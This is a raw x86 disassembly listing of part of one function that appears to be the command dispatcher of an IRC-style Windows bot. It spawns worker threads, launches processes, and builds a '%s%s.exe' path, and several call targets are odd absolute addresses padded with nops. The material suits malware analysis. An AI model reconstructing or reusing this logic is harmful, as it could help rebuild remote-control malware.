		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A73
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E390[eax], 73h
		jnz	loc_409855
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E5A8
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407A36:				; CODE XREF: sub_401ACD+5E8Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 28h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_407A63:				; CODE XREF: sub_401ACD+4ED2j
					; sub_401ACD+4EE9j
		push	[ebp+arg_10]
		call	dword_4CB694
		push	edi
		mov	[ebp+var_680], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41B5F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AAE0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset byte_40C669
		push	ebx
		push	ebx
		call	near ptr 26A0000h
		nop
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407B45


loc_407B2F:				; CODE XREF: sub_401ACD+6076j
		cmp	[ebp+var_670], ebx
		jnz	loc_403DA1
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_407B2F
; ---------------------------------------------------------------------------


loc_407B45:				; CODE XREF: sub_401ACD+6060j
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset unk_42ABD4
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_407B56:				; CODE XREF: sub_401ACD+4EA4j
					; sub_401ACD+4EBBj
		push	[ebp+arg_10]
		call	sub_41B779
		mov	[ebp+var_112C],	eax
		push	7Fh
		lea	eax, [ebp+var_1230]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+var_88]
		mov	[ebp+var_1238],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AAA4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset loc_4103AB
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407C42


loc_407C2C:				; CODE XREF: sub_401ACD+6173j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403DA1
		push	32h
		call	near ptr 2690F24h
		nop
		jmp	short loc_407C2C
; ---------------------------------------------------------------------------


loc_407C42:				; CODE XREF: sub_401ACD+615Dj
		call	near ptr 26A08EAh
		nop
		push	eax
		push	offset unk_42AA60
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_407C53:				; CODE XREF: sub_401ACD+4E76j
					; sub_401ACD+4E8Dj
		push	0FFh
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	0FFh
		lea	eax, [ebp+var_2778]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		mov	[ebp+var_2674],	ebx
		call	sub_41B779
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407CAC
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407CB2
; ---------------------------------------------------------------------------


loc_407CAC:				; CODE XREF: sub_401ACD+61C9j
		mov	[ebp+var_2668],	ebx


loc_407CB2:				; CODE XREF: sub_401ACD+61DDj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407CC9
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407CCF
; ---------------------------------------------------------------------------


loc_407CC9:				; CODE XREF: sub_401ACD+61EBj
		mov	[ebp+var_266C],	ebx


loc_407CCF:				; CODE XREF: sub_401ACD+61FAj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AA34
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset loc_4163FA
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407D80


loc_407D6A:				; CODE XREF: sub_401ACD+62B1j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_407279
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_407D6A
; ---------------------------------------------------------------------------


loc_407D80:				; CODE XREF: sub_401ACD+629Bj
		call	near ptr 26A08EAh
		nop
		push	eax
		push	offset unk_42A9F4
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_407D91:				; CODE XREF: sub_401ACD+4E48j
					; sub_401ACD+4E5Fj
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3410]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3390]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3310]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+arg_10]
		push	offset unk_42A9B8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset word_414A92
		push	ebx
		push	ebx
		call	near ptr 26A0000h
		nop
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407E68


loc_407E52:				; CODE XREF: sub_401ACD+6399j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_407279
		push	32h
		call	near ptr 2690F24h
		nop
		jmp	short loc_407E52
; ---------------------------------------------------------------------------


loc_407E68:				; CODE XREF: sub_401ACD+6383j
		call	near ptr 26A08EAh
		nop
		push	eax
		push	offset unk_42A980
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_407E79:				; CODE XREF: sub_401ACD+4D1Bj
					; sub_401ACD+4D32j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2FE8]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2F68]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2EE8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+arg_10]
		push	offset unk_42A950
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset byte_4137CD
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407F50


loc_407F3A:				; CODE XREF: sub_401ACD+6481j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_407279
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_407F3A
; ---------------------------------------------------------------------------


loc_407F50:				; CODE XREF: sub_401ACD+646Bj
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset unk_42A918
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_407F61:				; CODE XREF: sub_401ACD+4BF2j
					; sub_401ACD+4C09j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3C64]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3BE4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3B64]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		push	20h
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+arg_10]
		push	offset unk_42A8E8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset dword_412A54
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_408049


loc_408033:				; CODE XREF: sub_401ACD+657Aj
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_407279
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_408033
; ---------------------------------------------------------------------------


loc_408049:				; CODE XREF: sub_401ACD+6564j
		call	near ptr 26A08EAh
		nop
		push	eax
		push	offset unk_42A8B0
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_40805A:				; CODE XREF: sub_401ACD+4BC4j
					; sub_401ACD+4BDBj
		push	7Fh
		lea	eax, [ebp+var_1778]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	3Fh
		mov	[ebp+var_1628],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F8]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4080A5
		push	3Fh
		lea	eax, [ebp+var_16B8]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4080A5:				; CODE XREF: sub_401ACD+65C4j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A880
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_408131


loc_40811B:				; CODE XREF: sub_401ACD+6662j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406CDF
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_40811B
; ---------------------------------------------------------------------------


loc_408131:				; CODE XREF: sub_401ACD+664Cj
		call	near ptr 26A08EAh
		nop
		push	eax
		push	offset dword_42A844
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_408142:				; CODE XREF: sub_401ACD+4B84j
					; sub_401ACD+4B9Bj
		push	edi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408235
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A818
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset word_412E9E
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_408224


loc_408212:				; CODE XREF: sub_401ACD+6755j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_40828C
		push	32h
		call	near ptr 2690F24h
		nop
		jmp	short loc_408212
; ---------------------------------------------------------------------------


loc_408224:				; CODE XREF: sub_401ACD+6743j
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset unk_42A7E0
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_408235:				; CODE XREF: sub_401ACD+6684j
		push	offset unk_42A7A8
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_40823F:				; CODE XREF: sub_401ACD+4B56j
					; sub_401ACD+4B6Dj
		push	edi
		push	[ebp+arg_10]
		call	near ptr 26C0B59h
		nop
		test	eax, eax
		jz	short loc_40826C
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42A784
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40828C
; ---------------------------------------------------------------------------


loc_40826C:				; CODE XREF: sub_401ACD+677Ej
		push	offset dword_42A778
		call	sub_41814D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980


loc_408289:				; CODE XREF: sub_401ACD+2F2Bj
					; sub_401ACD+5570j
		add	esp, 0Ch


loc_40828C:				; CODE XREF: sub_401ACD+2137j
					; sub_401ACD+2ECDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4082A9:				; CODE XREF: sub_401ACD+57C7j
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4083BD
; ---------------------------------------------------------------------------


loc_4082B6:				; CODE XREF: sub_401ACD+4B28j
					; sub_401ACD+4B3Fj
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3F04]
		push	104h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4082F0
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4082F0
		push	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4082F0:				; CODE XREF: sub_401ACD+6803j
					; sub_401ACD+6812j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F84]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset unk_42A748
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset word_416CAE
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4083A2


loc_408390:				; CODE XREF: sub_401ACD+68D3j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_4083BD
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_408390
; ---------------------------------------------------------------------------


loc_4083A2:				; CODE XREF: sub_401ACD+68C1j
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset unk_42A70C


loc_4083AE:				; CODE XREF: sub_401ACD+925j
					; sub_401ACD+A63j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_4083BD:				; CODE XREF: sub_401ACD+7E1j
					; sub_401ACD+94Cj ...
		push	1
		pop	esi
		jmp	loc_406D03
; ---------------------------------------------------------------------------


loc_4083C5:				; CODE XREF: sub_401ACD+4AFAj
					; sub_401ACD+4B11j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_41B779
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408404
		mov	[ebp+var_638], 5


loc_408404:				; CODE XREF: sub_401ACD+692Cj
		cmp	[ebp+var_C], ebx
		jz	loc_406CDF
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406CDF
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 2680D3Bh
		test	eax, eax
		jnz	short loc_40844D
		push	offset unk_42A6E8
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40844D:				; CODE XREF: sub_401ACD+6974j
		push	edi
		push	offset dword_42A6CC
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_408458:				; CODE XREF: sub_401ACD+4ACCj
					; sub_401ACD+4AE3j
		push	edi
		push	offset aQsfposs	; "qsfposs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D1
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		call	near ptr 26C0000h
		nop
		push	0FFh
		lea	eax, [ebp+var_25D0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40AD81
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_4084ED
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_4084F3
; ---------------------------------------------------------------------------


loc_4084ED:				; CODE XREF: sub_401ACD+6A0Aj
		mov	[ebp+var_23C0],	ebx


loc_4084F3:				; CODE XREF: sub_401ACD+6A1Ej
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_40850A
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_408510
; ---------------------------------------------------------------------------


loc_40850A:				; CODE XREF: sub_401ACD+6A2Cj
		mov	[ebp+var_23C4],	ebx


loc_408510:				; CODE XREF: sub_401ACD+6A3Bj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A694
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset loc_4163FA
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4085C0


loc_4085AA:				; CODE XREF: sub_401ACD+6AF1j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406CDF
		push	32h
		call	near ptr 2690F24h
		nop
		jmp	short loc_4085AA
; ---------------------------------------------------------------------------


loc_4085C0:				; CODE XREF: sub_401ACD+6ADBj
		call	near ptr 26A08EAh
		nop
		push	eax
		push	offset dword_42A658
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4085D1:				; CODE XREF: sub_401ACD+699Aj
		push	offset dword_42A610


loc_4085D6:				; CODE XREF: sub_401ACD+2E74j
					; sub_401ACD+457Dj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_406CDF
; ---------------------------------------------------------------------------


loc_4085E9:				; CODE XREF: sub_401ACD+4A9Ej
					; sub_401ACD+4AB5j
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A600
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 28h
		test	eax, eax
		jle	short loc_408674
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 2690F24h


loc_408674:				; CODE XREF: sub_401ACD+6B8Fj
		push	offset dword_42A5EC
		call	sub_4151AD
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408688:				; CODE XREF: sub_401ACD+4A70j
					; sub_401ACD+4A87j
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408746
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A600
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A5D4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		test	eax, eax
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408746:				; CODE XREF: sub_401ACD+6BFBj
		push	offset unk_42A5A0


loc_40874B:				; CODE XREF: sub_401ACD+7543j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40875A:				; CODE XREF: sub_401ACD+74CBj
					; sub_401ACD+7624j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40877B
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_40877B:				; CODE XREF: sub_401ACD+6C90j
					; sub_401ACD+72C8j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_40878C:				; CODE XREF: sub_401ACD+4A42j
					; sub_401ACD+4A59j
		push	7Fh
		lea	eax, [ebp+var_2214]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2194]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2114]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2218],	esi
		push	offset unk_42A56C
		push	eax
